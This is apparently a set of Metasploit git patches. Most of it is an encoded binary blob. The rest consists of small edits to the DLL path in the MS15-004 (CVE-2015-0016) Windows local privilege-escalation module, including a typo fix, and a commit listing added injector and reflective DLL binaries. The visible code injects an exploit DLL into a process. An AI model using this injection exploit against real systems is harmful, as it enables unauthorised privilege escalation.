zoin+cZ;KO`pBOoN|M?tu?`=AP^#ph3wgj>C5B=)rxF2tuEBLaRi*~FRSKuV{pVhA& z=MFfEH;AcXX8!^IB*wP}Gw^}Ho)G#9KhhJ@M`zgtKO3mWa|X@n#=Hzn(Mi~c_$O6< zcaFdQNghURjVC&t%h){CJ<tY|BXvNpCdeW15XXpMcsL|i=p)b&?OFcyw*RKSd?+h) ze-T!O{m(H%E7m~mNJKK+xzoEUy6mmc;cGUBimDrEA^tF`OS!_hp&a-RWi}siaI~&r z2tImbI-J)tM+Oa7p!e)1{x_9~Fx`{d2jFwea0b_yde?w6x=5IP`JdQms7K=Co9W*h zih{5OM)6rh)4jsj?p&oe)1sWqkhxDi#8nh6o=R(npm?b0Wb$=Ud&U`lbddY3NXim! zs3<Nm`Y--{==$eh=yI6XYw2^5L%NS%qKimJ26y$&*@AZ-;bOKa1#$bhHQV-4e6($m z^^KpgBY3eRM367x%()sYg8?jX&M1l`_uJ^xyEC|GY|gp4MXVzn&*-=xu;FyW4hh#= zC!4djPZX?eIe>zCe`&{s0OJZjb6HUSMNs*#qHXhjdcqg~5DopWZ$CTtBUyZP2Mq_) zDSMz3!I5+TZ$IY<S`Og#XFSEY9Z?B1C%kj~J8%SY7;+F&0oes{LW&RI1!!6rjp^~x zoVy@Bkii3Z16p9ptfT?_D^MYv$nC$q0?odcuNjS8<AD1h<ix#r1sW^Jti(IeM2bT@ zWeGF}@(=+Mh!heBNrcECI>=3xcng{q<}bJaiektvNKGYPgTBoQ+QPWdyG;UHD!1b9 z<pN_ES9kYqf)Bzt_MYj2x~I69d*p)6A<Y^0e9VgPdtzjzwmr&ecFz`MW3$}7TG06^ z_rh+w;P)tQ{GRE8;z(}J9+RN5nk(F63C)k<pJMSX6OOvAleic5SOvcwZ2oD_Y*z5# zOm2Ev%>1vYk=+)Lo0<sv9c=4{s_kOja@<TF@%ZQ0$c6Hge{C)(ld<N*^Qm21HHJhU z9jQ<Tor-7sr)A)?F3i($qy%xWp#_uM_{d87l}V9+9Bt&-2c+&?%rdMOB7Xpr&V%o5 zg7X8KSidIB7+et0g!na5W3VHj`Tc%ARg^KfIH0-g*TflvO9GmY{F-=Uurr`}!>`d9 zgDc$uRkL4ZG6o+EXpZ_d$;RNCfaU?eCdC+hIH1|>*Q6PP>jIkF{hD-R@R5Kfhid$X z6;2PlmUQNL#u$Tb{$MvT_)`dt!I^;+iGGd97@Qr@MEEr_V{lnOBlK%j#^8#8=Ev$k zl@nUA1?!ML7=MHy-wqLZho_jd^OTU&)jl@@!pKQpAtisO)R0Er8%OGS#*;dpiKK>S z5~<`VBV{~Qq?BhADdDLj4xT2G50<wj`*tLgwY(~Ytl*hOQhBBmx0!d~*@b5&S->-! zB=F27(LD1>IL`tS!qY*5c@~p@AEa$7AwTnUl5csIlCOB~BA<Y?4llueV8}aE>wjQt z<DG8)vFc^sP4BbF^SrZ$IvaQ=f2UN(JLv-%spg&hL)JdtSx>b)dFL_eEasim+9Vr! zXA5=OdFLtWyoq;usWaKlyW6N+%{x1&a~_<0r8}uFiVrwJos)Ry1?n8bJG-g#cdSm| zOFh&%$UA$f^DExjN1gxTorF5y;hkO7*#@WE_tF4$zs#!#sq=Z>d4)O~c;^sx*743^ z>a6CS)TAf-cqe_YMRvl;*O~rkfo$dj#MGI`JL$t0S;ITSs56asO5N0L=G{@$so<Ts zk7dXl-WgAwQM@yeIw$eYB<dW)J7v`Q`+c+rRMa`hJ9X6g74I}r=f8MoGIhSgJ5#8$ z?LNE+;47U*y)W@0>D2iw@3c{8J@3q<&WCtsHg(>|J9DYi%{%j{(+OvJTNIW%=d8M& z)p5O5rifiwtDYX1+cE7yofy%6JgQ%+;uQBSK!p7JrVB%`PC55|8sYnRsN!C}Pag3+ zX1C`G_KMru$BZPARz2uR6z0<?NuHT{6K@yUNdbl=XAN0T;c2ff9N<48#}`XPi>IZ) z2TL$$1NQ9a?cBW{!&F#cIMFAU6VYDXC!gT7#uhxT5<3WY%9Da>u?LkAOEJUvN_1YY zMAN<8jR$9}qgx@4e)>&z7(NQ5-?c^gzllb!C`yWpa+erCJAe`78L|@=!^78Z@Q>PE z-1}c@xBo2n#z7T#b?;PxXaYBB-yDH>0%zDaCx`^GT*1B-0@3GO^S*7;5rfnfPGW2S zus5@7xQW$L!EX<9iPiB@^c8OCYbhdOd2cf8(l;Ka@#y^yx%L3(s5T1ji|3xGUMyIc zz+J93Mr1F*Gso8BctH16?e3egy9XbZ8M`>c{R;(spK`a~??~&z<z-F|{cijknnUQz znDXCQPrEb7liEWDo~8GU>qVa3ee_#d-2Cy++GR9b55o9t5wh+b?i!cKa@?H53k1>S zoc(ajq;x(lpKuYMkUMbrIYIjwPW{jwg4ciJjy<H#tEU+~`n1pY8oeOV<I)5N=R91b z6rMv-^g<k;W<W>2e3w?Ufx1VkI)=9TDWs(rFOQw4RpU)^j1+#DGDzO=a@vPqVNW#| z9GSt6Yr%=)d3}EHspk9t_7pq83-2P&nMcaMh~*B|hjVKm+ZJ*Hy3m7<BU?|1m%H#- zb$kaj%8Nm28nWc_Lo`H9b$bg3(OK@GA85q=^&ZyCO*$IEwsDC^=dgL)r+?kgUho&& zh1j&%3;tre;r(;5ozRUG+szl-3k@xnhKv+Tb)$;y=8Ns-i|wJs3I<BJjH9bU3hw=5 z=KQUUd+w-7@YoB@{YUeHrV!*%{!Kpp&Wf(hyT-qg)|~sq?LivnX8)x9=d+9?^f)8g z4EYP>cgUXS7)dSUH%Je}^gJVxL&iMM{k!qs0%r?1{B*2fO$!(O%zT*b%b&?*)0&@r z=CiTvOWc7M(ggQyZSHy@O*qxN0E4&zYmvVx!j)#Z?;7rFKe&^VpHyWAW_1u|HS64# zMJCe^k?6%xYOhDQpN3vd2@<l-#4IvlB7*QFlEgm=(a%O?bk7*XjSO}cDT%w2zgAvx zC-?Hn1;!Zo0_!8I2&=opM>^0!^uDN<)@TPj%8OO&`(VVBU%TdtBrPTUW${-f+>91^ zVxVF=S~1snvK4{laZG=aolF;_9{k5l!oT4wiMv~(L+(Imps*WCxMMBz<_Y|nExaD! zKwr~Ze0;!vyU;R-Z`8@9T5hOiaoEFKeZCno(h39~HisSD%9m%*k2LOlIX=wj4|iM- zKkDF~etF)4Ik<krLwRV04Fl`hpZFC9v^t*t9qBz*SQc8LKq&d!gRd+YPut~FvA*zl zPWwu<AhDOTzfwYr>3HRBd`ofo)f=uy>E=3LT|3%4|5T5PW>A?jUge>!$C^wL(8Gzj z9ErbyAsM<n9-csL#27`+_)qWXe1c!g3Tecs1o~`q5x4oZr$$GZcDf&x8RK0(TAAaW z!^*h5-W;}@yXc+f{_Zxkz2D?{NJiWH-`k$-99L$T#{ZlnihPO$?MxKiJsyJ-<B0+3 z7ta5|bM}unpg-9BO9C4TwQsX<r-&PpF!DH`mVaY?G2iE#(B3~a_3Bb_xl@l1kFZ7A z@v+^-v3QIpH+6B<XJT${UyBlMjlxv9Rg8x*`X(RurpyhPdoS%q&^vTr#?O)X?;juX z;vq#!60R4LheAB<qzh47QBJaR49%y1z)rsVJ2&R_xdKH~v;6h1*{C?0<A!^Xqd5ha zChRVJ1ukk#cHUTSKE<ip<m@T#*0#8GBVy3EuE{j|<-3tNzWi)IGZgIkrTkLtnM-4W zRQz(o3x_<BOI|ddJoYHMw`%<`^@p!<)Z+`T>ZM{E$=kub*EVwo9sF{yIH(;<l3rlZ z*9<QsU%VO>A@%c*ap7+yx@oMdDHE}R&E=+vKBqSD^4%4yd~^O8rzFiON^?!gD7w-w z$|(A|KPaQ<Dt`1s*R}AUd<o()KD=6qAbU3bF<q>1`o}Ktc?4dVmj8MUhi8I6gk+3F z=1#p4J=<Rg5$X`^5sGkjUb=<PfJ`2V1|v3?^Su$n&$gg5Xi*<G=WLAN^ex=7voUj` z{5wvle|p=<7NpPVf8TSK_S{e~I*(s%+`+Rq3gT<H?z1<;<WRM%C+PeMCz1y@a?W<M z#A~BpbY8=Lk|e+{AiUg}_86s<kL3K~R*V~eyN>V2=pgOi`R5&~9diQjzOLkRlRFkn zqRoOqFtS7K%jawz;ZyyM)uFKy>?9LYJqN$Aok%M4xjh{VGztD3Rs(^x=gC1|U|SmA z;op|{PlB^ZJKjq3Ur5@HV)=gFVVn@=Z_9Xe0ypQ)7{2(kDS9FOdA8V29@xOy-%Jqv zvVz<FX13ekP#?a7#fSd%`iQ2+%UYYQC<y;|pkB!i5&vsN2|^lZ{J>9BeF?eH_!1oW zOYeX1_QFOI(omgNPiDNRda>AZ<DjyG1VPm@gl|nQH)Z_snL;4GoBX`&KN1We!TV6P z#3v#_*`E_&j}NWDwvM0H3|_-*x}0XB6M3Y#D@gqiO>Lv87yn1<&d%x;;>%LRuSPlv zh-7YmHEF4NG+hNvH(?|lem8lU7?FVgiR|T1c&8I)#pU;?6QOT`p6Xpxb(&X|T|P-w zfePJ+Q^kk81<2cT<1k!9OHoQAE#(R9U!Ci&U!3t>IMNVWq4P9q_FP20hi-MFgPLj3 z5Z-=Y&ZoKj@y{W`hjBPDVEwjo{}5ETMR-b?2~k08kR&zB#6TuOe#2wSH;`^f2jm3g z6ykJ3x*^{|gmM<f1oD9BAZd_nNCBh-vI}xQ<Z;Mrkn@lp$d3@Af^{<y_%9C3hNvLv zkUWSJazEr4<TXe)<VVOvB`OHXgycd>AQg}r$fJ<ske48DK|X|h0U3fwQ1L{F0g?i- zL2@BmR9e&!jt3#fAoL$h(lYG+We-E}%v*-#T?XU4jD|gk7H@&<;})EYoH-_rk*wXo zNQB#P8+Z@>8KwW<laDcyWA8JP$L^_ZN@ByXbVvRR56Fwz1sTGBuVILO%!Gd<VRX`l zL7cPE0TPzUH&6KNfz0WW`wK<P{Q2)rt)Gq`O3Y>@Q={=a1r_(<IgMO|HM1rW7khJY zSBGyudLcIG&M9dWRBp@dTej}p5?5Hdsj$SkdFvMLTz3N(cRsPX<l|m}o7SfO5^gg= z=4(bmA3?G~`gKARNE<W+P6BO&kxZs~a0=CfQmVhqNbtKl#tXs<VkF-%lIdU>NRQ`1 zkbW(1>SrXeR1e01X#<Q_G6RmL0Y)+ttpARYl!79BPjwfV2;L2*fb`)$AM}Ba@0+ik ze}3G=o^<@K1Z}Ne!FNYq&$MRMC%Hird-2wF05Sv-Uf~Y(JkK)C)xB%RHna%X+I17y z@{<?Gu?NPuX&IAokqpW}m{p7p6oSbhenZOGK>CD|4Pr_#`5^5q2S_`s1f-o+3Qhpa zKst<-Ago`e285~0)PXp2nR<|RY9r{Tz1jo^?bQ~L_No`8bD#snT{hDNQbVO1q`ln> z(%vQ@?d?I3_Vy4+dz+cUN}>S~NPArZ(q5N>abO%sJ3Vm<>*jl12E{BWbYMJ~4AS2W zq=ER68e;?JfZ5<&FdxK^A{hsWOH-x<Oae>61z;Jt5Ud0>U=64R>p&e?59-0jDQ^6n z3XUcytY8b640^#uU<bGa>;hB3Zg45s3oZi*xEve=Zv=<Hn?NRvm8=9r;3`l8+CV92 z2jjpjFwqUiIyhutA*ciCoJa;)Oo9|p0NTJHFc%bpLcC`Q1|9H^0iEDjunZJ|2SNPc zi)q9Bn*i3qF9wf+Az%|Y5p<t|BNUDfkj}ab;3SYv;K?AJz*DFn`Y><+45xZ90u+X0 zPJj|{Di{S$0~5jNpbCrvlfh^(9gG39!B`>VW(welgQ5hS0qz24f|cMb@Guw;)`JP) zad0-+0?q;3z`0--I1lUr=Ys@H0<VAzKyd`-1Ska+U_7W2qOWCesG%@{8ZZsif|;NW z%m-nWFvXw&ECr2V1!w_lKr46zOa>dlMc@f=3Frk=z-}-V>;spAgWxhZ9K&!d2St&X zL|_<r6Bq}kgGt~@PzSC8Q$QPN16PB&pdEC8S)dbK2UdWE;9>A~@EBMOo&fiPUeL{A zC+UPk2+|E}EZ7bIIIs^K4-SH2a2TXJk4TDr0t^Ggz&J1hOaiBYIxrfvfk|L4Xat?0 z1uO%XfCr^m|F^?&3<~;R8#)0BK`%HK>;%Vw-Qakz4-|ug;52X;G=gDM(Lyi|#A{wg z1`0tFI2KF;$AOvPcrYIngT+&^{-?oF3WX7@09kB(he07&4~_+ogX6#!a6H%sioq^$ z8rTCG!7Ct(EmAlQ@j(eV9*hFTU?MmTRDnh?-3<qeJu?>^2Rgv<pc9-1mVrjF4rJpn zxxjJY32;2<rQu*F4Ub1fXgEk{ICzDIgUob<C!#{&I4}wv54sa+KoV+11Hfb&0H#yD z4C|EY!2+rWOQ>FjWlHs6CDnt6sa}U3qkix>^_$RR)DN~%e=>TE`oSK`6s&(j9cid3 zWjbma1=_G)LE$c}S8y7b2-00~F{04@9Cc)5(A^0p;@|-o6a3v^8u%|T6Z{9557vXl z-~(VO_zqYRh4KFYjv6T51CM}DgN@+J;0dq|^nyKLCrHnOZm<*V15bm4U<X)=iqQjV z82-P4VbPeFpbmO^;w8bq36!D2EY-WANP!~-+zr~mlQaMks7>I2Kb7j?7lKas>A_P5 z-V0_!Pi=&Q@S_uX+kn~%b?`q99s>`7O&~p}PJzu}2ly=LrUwo^=`KLw0UgM2EZ7G> zJ<&?w7lDKDH-N+7IZzbCN{)kJ;G19^_#l`Bz5?pNH^3C|1ZV?41arYI&;j0r@);)_ zUMR}I_rX#WI1W4r|GQuvhzoe;82Ay`1il5H0$&6>z%$?l@B-Ki9s>u!=fENGGf)_d z4{ksS*b7F1ucCY=5svdvsKC#`Wbh)G4t@$|gCBzh;8`#YV>t^ffuA1P)YzcL$S(Mc z!F>3s(NYP&gNCC)<H5u5r-Stfzkw3|?I@qO(<Xq&p*Re-fKPyJ;PYS?xB~0}Ujhku z3XH?hQRC$b{FPLXjI|&W=eHqhP_P(YG5pjRX+$`+ilp#6!9j$(u?aEpQ2ZT~fz%kO zLqG^<f`1iQf`o}+8vI3IBK)ynCj1*gYEVuD^Wn$J<qgYFuo(V_z)~;+Y(hM`PAlMF z4c1ZnZvh-NP;3KRkg*&*0)HvUpoIpY5&nH(3o@7lCPHroPe5M<wt;IvFVZW(F8J>P zv*Awwd*Htfw80+_68LWguf(}o$^CFtB49qq%wQ#V0AjEll%gOrCHx0KYR?(Lc=#*8 zCZv;rGWh=nn!uf48t4Ku!L=Z@s3(K@@IMR|gPCBd8;)8ysHr^#tbo57>_x^Jum=7; zU>Cx}K)iq84ajcz!{Kj)KMOno)`4E|AlL;y2KIuDl!zYz4#J-eQqw&WbPq$30|&KG zO`vEdzT^SJz^A}Ca0i$K9s!4ta4M*S|7I{56`cvDz+V8`z}LWhuoWx;o4_)#1*`$z z2J69gy8antFb#?(C~`r%&wmM?g8y~!0{BmG0DKY@&SE8xfFh)u4o1QM7cdcA4|YJW z1Xb|g4N}WG8BB)%K5!7>I?x7x87+SZ3Oy9LQ0xUI@JE3T`13#~xCN9#9}SklzX9xq zUkx6Fe-|i&KMt&e{}wO~{uuBW{P|!P{3@^s{zt(M@E$rj90-^L_Cm24900e1Ltqdn zil_hC2~+^A0pr1=pbUHgG=a~6Y2Z>YGroD+Rm<esjiGFQtyjWUj<KytTe2dhcIhNm zA-V0`@K5)CAGW-_>ErQNJ`uiJTQ-S}s~w!gCcB&PAWJul)oW7LJpGqLd55PCE`MU5 zGAr$|B^fOAOANVdw-;{Po_nKf<CZx4#=Gxy72chjvUQW|j>0X@?YZ{N+g%%r<JLG` z1)I0VDP(eGu5H`aqQXrG+q9!_0W|6bGMQYHySlKraO3vE|I|*qp`?Iz9K+BRL4~%S z{*%-mn#@LK9K*eXU%@c6J}2O>9HkoxyMoKVu2Fgc0(#*e7!{w!VQUvnVW-GPN2OUL z;r=2DT``g!Eh-6qRX~@-*Jj1&C^V`B$wt?Z>gZ2lN=IcyYf=gSVaQ0$X&iq|6f`Pb zO^YD1*;vh35OMn$=J)sUrTYbj!GDL5sfXadvB$_hV3?aesQq*n8xcDAK5j39Ir{N1 zGdPE>{YMfzr8Xvv9UmHZ;d)3^;`NXT6GsK4jS3haS%VN-_qsp~T4(2|7-J^TqQ*ko zIZ8YJ7H=S32S_XOK8R~Y-=`oQ$V;FQ{2}0{gqOi@fqax50n(SpTc<G+7bKYm1paYT zYk!MiXG-I7)kteV>!pI5mX!k5Cdad3Q%i6^MH3thgd7H`zq|HK7(2x-3k3f&${)>( zV46`UNFX#Wof<R=>cLlxE{Vqj@#!G{IjmS&J1?A#5k$w--WbkK8}ni;BY7vbwutIV z;`lJhOf4g!4WnsqfV)-}&PpW@>aJ^#!d+Vft!RqbU$=)NSgBypN;8-?<`^!T8q@vm z61bh|wd*3-7+rFXKXNb_3K=P+DNxvm|EHDyc+0>H2(3WanA_}(<aRrsYlI0`SgDX? zTF1b@`c-_NhqvJlccjlRz)kzSuT~z(&bQ3WW+byAG{rt7r%cDk{IplI=|}y60ie^I zhK=sk+gA7+^zzNPn!nlKV-<N+7b94+#qWRaPCwVW_y!BQcGUhB$;Pmc*WM*%V<pf0 z&0i$V+6i|p9@nLU8z1#&^8I7AcT17kQ)m2%A9&rL*)MPN1qX+n$M=V|i>9*E$IuKu zInPJ46u*c1+&~-Y|CcX=yB9n1!t1(Y(BVHY$n=cTJrAAa^FuQt{{McVjc<znUtMU^ zer9SLr?XL}kC-Lf3O70nae{0r+`fGg!#u_=-BwtbzWJ7I8@JuHXiGtA>1Jo91Cd~N zkU(s|zxK!JY<%P@X35s&TQ)m4Z!F$?H!O8G{A;&tu3ZqtD%tV18>846?77-<p!QT0 zo0gyqN-Nx0Ld#&7g}i%FG5t>tKPO!6EMB{1=jJU1Omgj{Xm-)W3BhX$o#`95J5#r9 z+q$jxmS}c%?R(SN$+fGa*~t^Vf@OuyHO_*xjav$e3v2PLbv}Au@Y*d7-j8~3^526m z-CXP}+=g?twmF7PWmnh!8pBREZw$^X+;+$2E!W%5Fx!JOi?{o0!?>s$1=u$hy9${d z)Q8IWea_m9SavS^dF><7Xw}`ZtgQA_EUSurDky#H#)3fCrIx~C)bI^lUC3uzi~lB6 zWGx;8CWky6l)hxe#*#J8ZJW2;R;!F-^$9a+WB+Il!~9zaKk8m++q!uR8jxCw#Zh}G zj{QN<JH1vglhyExiD6D^X0ord^XQlk9KwD0|5Z-Ti)UxEwRo@*x|bl86TkK=h3tZq zK`J1Xkb{sKNFAge(g-;L@j^Nv7a-k`9!M{w4?-XVkU_{5$Pi>0!u)_^2_l9_A#o7I zcS{oCkU?~iWJo$B6Os=phLk{@kTS?&2yG_)R}Xh1qzTdj@j^NvU65`Ffeb-JKjPg4 zL<UKQWI}Qw1(4z&w<2>mc0np22O)<cM<B-_#~~*mZIEtAAB4sqgbYJOxXP14k{~9C z4N?FphBzUWkR}MdAEw_+v3LzPYX$xFo4*nMzyDwSY;8t7J7qfkj&~%>-eLS2p2d+M zz(dFqzcIpj1!*TAOklqW!tcdu_snH~JXx2-HVF(g;SETc4w^Rn-^CsHSHGe*Zy_5q zg{GwiesRrzK=fT>PPQ&&6M{|-DA<`S$_+a?QN><m-KP+fl|{%BWZkj|`E2<y`Bk}4 z;Z}UB*r7b2>`-1*&QLw7YE@lTiPW*`IqHS#JhemJrT$FaqxnkHueqWbr=6~?)jqC$ zPTQsZm-aX999@>~4qch<VcnCuVErV0rv5hlVf{<`SM_h{f6-4cOfx)T@ESfg7>%XI zLvG`<##ZB1<2B<X(+j54rmH5Qd7^oSd6D@p^B!}h`IPxx^F{Ml=GhjLrO;Al`OwmD z3AQ?{4_lcy7%QlJq%2A{L#C7Ml~u}WWQ;smK2bhR9xJ!YbLCs))$-%=R{4AKuN7mJ z*~${7OZlbhiYiTWQS+tdH;q*5UWZyw*Ui%%)}7QP>Tl31^jf`HzevAKf0I5#zgE9a zpRX^_7wNa?o%&M!9{oQ3K|QB`Qva#GPyda6P=8fFtPe7bH%u}}4Y7vVh6M(-!E8u1 zWEj>NHW&>Mc&^stk`9o;JK-c+>E#u^){cHkO;7HN9*qw3NFoM=TANXDv;Z6P6as z=a#Y71Z$F2W>r~rR+BZ^nqp0}K4`789<kP2k6F=N86JhO*v8AkWipvoW|Ae#Qe=g) z2V`et9kNbYm+S%tvPae{>yzCeSIKp9lRR1eyy6SRRmE(jQJJH>M|nv3fihE-rz%h# zP`O2#O3jO!Z#6$_EZS`CLG6RuSG6B%zr#3=)7_ve(Vfw~t@~Cd($7H8EY+{nXQ4m# z={@>G`da;q`qwe0m-IjChtLO;FtYIml|gT?7*-iF(e@(4PQxxkwV}<>Y52_Wjp2KP z&oIF#F-|uo7>&kU^urXlDbAE+GMN^e)|j@LDoqcX>P!u$v!=IAADMbgznkWn<z}ln z&3uo!#{97Py!l_|X%@X@i>1nP-g3cm(IUfKxX0RQ9kw#bxDY_kM9CJ*R?BXa-6`8C z+bt`XeJvZ1?NWFYuPe?gCM#o<^OSmJin2(#AN^3TbU&?pN%@uXTje#SLY1v5R_#<( zs_w^(e^PZ^^{VO()!V9nsrppksD@Qz)MCtktvXqqrp{MySKp;}s}HCjP#;$RMg6$? zDfM&e7uBz*z3LA2IraPMi|StWCG~gepVYsqaVBWQnlQ~&O{`{)CP|~v7&KN*s%C{| zwOf;|$=4KWZr5zrlxp^94rn}@Lz+i4k7^n;$2I@ZoYb7wv}xYbyr=m{^9dH*H=04s zkmlc-AngRLL>r-v(azG&)ylORtx21rU9MfF&C=#-Z_yTMw`yJ5-P(QHN^OnyA?;ta z4cbQS^V*j%yl1p;YR_xm*Y;>X*Sf#fey{ym8>E}0lj;&M;%jscU4`xmU7zk(okSn5 zm+9452V3;#^%wL%>thUZ!y-eOq0aEQ;Wfh>hPSbfKQml01REzArN&sJ!I)y)X54SQ zU|eNdXUaF-Yw9$;hoSt;w9{N+e#rcy`5ronZFp`6UY39CR(`GgLAhLYS-lgjyjQ2e z#8_dx-RMRpsiq85t~u6{Y)Q4O!#KOG_gP=IGWob)LE;$M9N9wIa+w38e6Ort_KfT# z*1#{aYqBtTj9jfbsCh?IrMpodXPV8=FtvHLIoo`Txzy}2A2mN?e#v~sOw8`77P)1E zr2rG^QOhxl&$8Cal;D901%zTEU6q;StK}Z~xAHNHNW~&Wnqrm0uGpg3t+-clSn;Uh zc?GLfDpx9BQ+=QcQO{J%)OvM+x?dfpxk01REW+S!(^P97!eBOHD8JH3w97CkHQG2` zrtTiyS>5k$U66hpx_O#DRv)ilpfA(!*SG24)W4_yNZ+gf3QKF1A;;h}>@j?6m~C8O zTxQHPZZh71{<+`yknu_53FB$wd1E*B&xKe;siw`QhfS&Go6K3}`^`_9e>4x7g_cX! z@2o%3ZZE^59uO&;jec7v%a;|)+`DA^WQSyRvPRkSvJ<jXve&VVbjd!%7SbpCR(3@; zEDM%L$`{Jja*I4gzEYkeKO#RNKPML}?nE#AtO!*~l{YFIly56PR_<3fs86X|)o<f` zxS;OFyq|+vp02TJGSL&cnCJx>hvo%Mi{_NZi)lSit9EN`{EW@l7HIct|Be|+v;*2f z?G^2ic38{kgu0dJs%%}ZE??KL&o|s|IBy(d`p*2Ig{i^)8d}51#wn&N7AUNW48<me z3j_0r;#tK%74IlMS1`)S%6O$lnWp?yvqamfeL<Is%`3<dZa8fCr{NMNuKPEG#yDVP zOx>nyrg7%^ICM^#KQZ^2Cs?GGXv=)d)7EB8x^vc#txP>0wNc)Um}Xzf`{kT6K_yq6 zR<*0%SAC({qTY|TD>ZAi>$Sny8yoa;?1ZV<2YU^_805y6jZ>}jtxOZYgENmQ8Wc~V zntyjIniVG%uPRO}S{3bzw-p~NYL!jO)5>0@ROM3r!@_uB2%=CTlVS+g$Q|-+@^|GT z#Y{}aw-r{z{I_z9Dqi)lYLogw^<ULLsDD#`r1=8d`8e&{+6&rV-DTYe`dCAv!De{I z@VViTk(hrn2U*mXJj>mdHjBH<@{1+J8fRT>U2c8I`n2_1>s2e$h5IxVs+L(XO@icl z`CfUA{O|JD<-f{96>7!b6$3a<!j(^8?|e(yh2!K4B~gZ`%&L1-FQ}yI#p?CyJJmbY z^r<l)`6SEJ<u-YyJX>CX1{BLX<el;^`31}&$y!C2LaK;T#3|wxiHZUB74@)M$ZwWW zns{uLDve2#f+>`V=~JL7);Kl0G!<Cehc!p&4e=oVWXhz=Y_d#QwyaBeLD{YBQPy@_ z*t2eg<ED&WzYHj^D2J6ol~@&~ib8KCsZ=VHDn*s9%2egz94uBjRl8Ibs)MS-sw1jn z*!oYXPN~{dovI6}9&G;uuo;F`LL2~L>L_)*I!Ucko75@lbakdW7Yn{v?NsklSEvu- zFgT(<rarDdp+4nSx2Zd^4tmsm>i=gAJBF?Q1lCBKrc-l4)1&Fr48YDB)(Ev?ZJ0Jn z8?Q~$s`w2*U7LyRzCc^7b!vBMD{y`v)*jIw(;nBJ(7I1)+q9jS13lV4tf?zlPePqo z7p9BS#p{xEDxFD}qD#l>%GDL<igixiE^Pb<VF(@39n&4xozR`qwdp!_7j!*13<h*p zbi+EKUaSw(M`5Q*(yR0)eTqIE=3Oofq+*yyyYv+>jt=XO=#S}->rc4#r?8cE;@s$g ztu&y&0!v9~5F5e_QLqz|U@4dkDTZ{ckX%E7p%|OoE<=UkAeQD4!!g5g!wJJF-g3BL z=rQye2C!I%4ML*`_Jh<IXG}E8j5=eoG0kW*W*hU34r2-I$ueW5vBp?utT#3q-A%?8 zqu1DB?85%oYb3@&;}90Q$RsgIVRa;$WG0;{*_39onX++IIZP#{Qd1dhkQ&$^^`=Hs zlc~kzHFcP}usQUah-uI?WMa%Bv&1Yl$C(q&GPBN{4BNzpb0y#GFqhzLDTB>gW3DsT zn;YHcCUc9~Ywj?2nY+!sIBW*79Wxe@MS{I0&XQ=6S#&tu(kwPhwk6-<u#{LzVd7R= zYAkh@dP^gW!WN6y(qZYcbX$5Y#4>0ZvM^SWRbrK5#U{c`)WJkdv)ZiL)_fe0CDu}F znYGed1B0>N>Ta|)SzD}LYlpSV+HLK%66>IKh@Jy@T02Y^hfE}s$fUA3St4vn9W2Q- ztfOq43l3R{tW;LUThw(pTN`CfvKE<_KN`AWTN2rz4F4@(xkxUNOXYF$M7a!>X0kjD z%RF12k40W0FLley<dxVr>g4tEMtPIGMefDQ?~-@Rd*wtvC?AqD3XwvB<sYX&W#aHT z9x$LDR99;1HBDFn9hm<;nqGeX3o-Mh+C+Zlr(@3NYfCWaD`4KxIe#3}o6*H#TBqZ% zD8<vqL7lrv*QM*$_3DUjP&cGwFmK~v&Sb)Xb>N(>)Ys_i=se}8X@|axpQMZ-4%0H( zkPjp0prH|yu*)!L5M$CMVZzxk)pGf1R$)AXNp=eJtIK$WpH-?qW>cmq7jx;L8xyGs zlV{K*!BnwfdhEi)Xu(_<GD|HgjD0r78%<7T@v4swhY<aNJ@G%b#B61*GGAGsbSR7Q z_~KNSDt9T%loiTK<w0eQ^02Z_c?4$cF=eCjI1Y{z$`<7*rB~U8CpUK|wr2l+*sJWr z20fr0#6CELoshv!D8XJR#cmjf{V)+bq6~YY4!dG9_Qf>pj5h3z+1MTPu|GPnLzZBV zEX6KahJCUUJ7o>_$~x?p_1G^Pv12x2&uqc2*@wMSh<!4C6*fp4Hppyjk;n9PhI&I9 zdLa{wB^S%301KuVed5HDslcK+h-Gsa{d2^8%-o2T!`RR(=#*~QAQE{JY!5u7KmWe~ D#OA7; diff --git a/modules/exploits/windows/local/ms15_004_tswbproxy.rb b/modules/exploits/windows/local/ms15_004_tswbproxy.rb index 6fdcf74aad..0adbd727dc 100644 --- a/modules/exploits/windows/local/ms15_004_tswbproxy.rb +++ b/modules/exploits/windows/local/ms15_004_tswbproxy.rb @@ -115,7 +115,7 @@ class Metasploit3 < Msf::Exploit::Local print_status('Exploiting...') process = client.sys.process.open - library_path = ::File.join('/', 'tmp', 'reflective_dll.dll') + library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-0016', 'cve-2015-0016.dll'), print_status("Injecting exploit into #{process.pid}...") exploit_mem, offset = inject_dll_into_process(process, library_path) From da4b360202174939f46675e7b294656176bb440f Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Wed, 26 Aug 2015 15:29:34 -0500 Subject: [PATCH 0378/2172] Fix typo --- modules/exploits/windows/local/ms15_004_tswbproxy.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/local/ms15_004_tswbproxy.rb b/modules/exploits/windows/local/ms15_004_tswbproxy.rb index 0adbd727dc..a8cf36d104 100644 --- a/modules/exploits/windows/local/ms15_004_tswbproxy.rb +++ b/modules/exploits/windows/local/ms15_004_tswbproxy.rb @@ -115,7 +115,7 @@ class Metasploit3 < Msf::Exploit::Local print_status('Exploiting...') process = client.sys.process.open - library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-0016', 'cve-2015-0016.dll'), + library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-0016', 'cve-2015-0016.dll') print_status("Injecting exploit into #{process.pid}...") exploit_mem, offset = inject_dll_into_process(process, library_path) From ecf3fb61d6f8c5fda1262cb1aea02e08267d30bc Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Wed, 26 Aug 2015 15:32:50 -0500 Subject: [PATCH 0379/2172] Replace external source --- .../source/exploits/cve-2015-0016/.gitignore | 16 + .../source/exploits/cve-2015-0016/LICENSE.txt | 25 + .../source/exploits/cve-2015-0016/Readme.md | 40 ++ .../exploits/cve-2015-0016/bin/inject.arm.exe | Bin 0 -> 48640 bytes .../exploits/cve-2015-0016/bin/inject.exe | Bin 0 -> 76800 bytes .../exploits/cve-2015-0016/bin/inject.x64.exe | Bin 0 -> 75264 bytes .../cve-2015-0016/bin/reflective_dll.arm.dll | Bin 0 -> 43520 bytes .../cve-2015-0016/bin/reflective_dll.dll | Bin 0 -> 83456 bytes .../cve-2015-0016/bin/reflective_dll.x64.dll | Bin 0 -> 66560 bytes 